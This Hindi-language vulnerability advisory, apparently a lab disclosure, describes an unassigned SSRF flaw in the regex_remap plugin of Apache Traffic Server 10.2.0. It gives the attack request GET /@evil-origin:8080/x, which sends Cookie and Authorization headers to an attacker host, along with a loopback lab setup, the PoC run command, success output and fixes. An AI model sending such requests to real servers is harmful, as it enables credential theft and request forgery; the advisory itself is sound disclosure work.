
Apache Traffic Server 10.2.0 - उच्च - रिमोट - SSRF - regex_remap noslash $n userinfo ओरिजिन टेकओवर
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · ats-regex-remap-userinfo
वर्ग: SSRF पहुँच: रिमोट
Apache Traffic Server 10.2.0 (b1df7334) - Apache Software Foundation
regex_remap का $n प्रतिस्थापन एक स्ट्रिंग में जोड़ा जाता है और TSUrlParse को दिया जाता है, जो url_clear करके इसे पूर्ण URL के रूप में पार्स करता है। @ से शुरू होने वाला कैप्चर RFC 3986 userinfo है, इसलिए ऑपरेटर ओरिजिन userinfo बन जाता है और हमलावर होस्ट ओरिजिन बन जाता है। Cookie और Authorization को ATS uid के रूप में अग्रेषित किया जाता है।
शेष भाग http://origin:port$1 है (स्लैश रहित)। प्रलेखित http://origin/$1 ऑपरेटर ओरिजिन पर ही रहता है क्योंकि स्लैश authority को समाप्त कर देता है। प्लगइन डिफ़ॉल्ट रूप से लोड नहीं होता।
यह CVE-2026-58179 (url_len VLA, अब LocalBuffer) नहीं है और न ही CVE-2026-22068 (कोर regex_map पूर्ण-एंकर्ड है)।
| ID | अभी तक कोई CVE नहीं |
| वर्ग | SSRF |
| पहुँच | रिमोट (अप्रमाणित HTTP) |
| CWE | CWE-918 |
| CVSS | उच्च: 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| उत्पाद | Apache Traffic Server |
| प्रभावित | 10.2.0 (b1df7334b39a878971c376da849e8da4984918b6) regex_remap.so स्लैश-रहित $n |
| प्रमाणीकरण | कोई नहीं। प्लगइन लोडेड। प्रतिस्थापन http://origin:port$1। |
| लाइसेंस | GNU Affero GPL v3.0 |
| लैब | केवल 127.0.0.1:18730। इमेज ats-10.2.0-lab:local। |
मैंने टैग 10.2.0, कमिट b1df7334b39a878971c376da849e8da4984918b6 को पिन किया। सोर्स-बिल्ट इमेज।
किसी vhost पर अप्रमाणित HTTP जिसका remap regex_remap.so को लोड करता है और $n सीधे host:port के बाद, बिना स्लैश के आता है।
| विधि | सिंक | विशेषाधिकार |
|---|---|---|
GET /@evil-origin:8080/x के साथ प्रतिस्थापन http://good-origin:8080$1 | url_clear के बाद TSUrlParse (regex_remap.cc:1159-1168, URL.cc:1313-1327) | अखंडता / SSRF (लैब-प्रमाणित): ATS evil-origin:8080 को ओरिजिन के रूप में डायल करता है (userinfo=good-origin:8080)। Cookie और Authorization अग्रेषित। |
| वही | हमलावर-ओरिजिन बॉडी | रीकॉन (लैब-प्रमाणित): ATS-REGEX-REMAP-USERINFO-WITNESS क्लाइंट को लौटाया गया। cookie-fwd=True authorization-fwd=True। |
प्रलेखित प्रतिस्थापन http://good-origin:8080/$1 | authority / पर समाप्त होता है | बंद (लैब-प्रमाणित): good-origin पर ही रहा। |
प्रतिस्थापन http://$1 | ऑपरेटर ने $n को authority में रखा | SSRF (लैब-प्रमाणित): evil-origin तक भी पहुँचा। भिन्न ऑपरेटर त्रुटि। |
लैब-प्रमाणित बनाम अनुमानित: स्लैश-रहित शेष, प्रलेखित स्लैश रहता है, dollar-at / dollar-host भी evil, Cookie और Authorization अग्रेषित, good-origin पर नियंत्रण /ok: लैब। हमलावर-ओरिजिन उन हेडरों के साथ क्या कर सकता है, यह वही है जो वह होस्ट पहले से है।
आवश्यक: regex_remap प्लगइन। प्रतिस्थापन http://origin:port$1 (स्लैश रहित) वाला मैप। remap_required 1 ही रहा (ओपन रिले नहीं)।
| सतह | लैब |
|---|---|
प्रलेखित http://origin/$1 | slash=good |
कोर regex_map होस्ट | RE_ANCHORED|RE_ENDANCHORED (CVE-2026-22068 बंद) |
| url_len स्टैक | LocalBuffer (CVE-2026-58179 बंद) |
remap_required: 0 ओपन रिले | उपयोग नहीं किया गया |
नियंत्रण GET /ok | good-origin, कोई witness नहीं |
regex_remap $n से एक dest स्ट्रिंग बनाता है और पूरी चीज़ पर TSUrlParse कॉल करता है। URL.cc में @ userinfo है। http://good-origin:8080 + @evil-origin:8080/x को जोड़ें और पार्सर ठीक वही करता है जो RFC 3986 कहता है।
मैंने पहले दस्तावेज़ित आकार आज़माया। http://good-origin:8080/$1 जिसमें पथ /@evil-origin:8080/x है, बनता है http://good-origin:8080/@evil-origin:8080/x। स्लैश authority को समाप्त करता है। good-origin पर ही रहा। यह leftover नहीं है।
फिर http://good-origin:8080$1 (बिना स्लैश)। Dest http://good-origin:8080@evil-origin:8080/x। userinfo=good-origin:8080 host=evil-origin। evil origin पर witness। Cookie और Authorization साथ आए।
गलत मोड़: दस्तावेज़ित स्लैश आकार को दर्ज करना; core regex_map को इस प्लगइन के रूप में मानना; url_len VLA को बढ़ाना (patched); http://$1 को एकमात्र leftover मानना (यह दूसरी ऑपरेटर गलती है, noslash वाली नहीं)।
नाटक: एक reverse shell। Oracle एक origin body plus forwarded Cookie / Authorization है।
python3 ats-regex-remap-userinfo-Abraxas-Labs.py
या
cd lab
./run.sh
Loopback 127.0.0.1:18730 (evil origin भी 18731 पर प्रकाशित)। Compose प्रोजेक्ट ats-regex-remap-userinfo। इमेज ats-10.2.0-lab:local। तीन vhosts: slash / noslash / dollar। Witness ATS-REGEX-REMAP-USERINFO-WITNESS। अंतिम पंक्ति:
SUCCESS ats-regex-remap-userinfo shape=noslash leftover=noslash http://good-origin:8080$1 (userinfo=good-origin:8080 host=evil-origin) slash=good noslash=evil dollar-at=evil dollar-host=evil cookie-fwd=True authorization-fwd=True control=/ok ATS-REGEX-REMAP-USERINFO-WITNESS
$n को authority में संयोजित (concatenate) न करें। host और capture के बीच एक स्लैश रखें, या subst को केवल path के रूप में पार्स करें। ऐसे dest को अस्वीकार करें जिसका host ऑपरेटर origin न हो। प्लगइन द्वारा निर्मित URLs से userinfo हटा दें। दस्तावेज़ों को यह संकेत देना बंद करना चाहिए कि http://origin/$1 ही एकमात्र रूप है जो ऑपरेटर लिखते हैं।
b1df7334b39a878971c376da849e8da4984918b6)regex_remap.cc subst के बाद TSUrlParseURL.cc @ userinfoInkAPI.cc TSUrlParse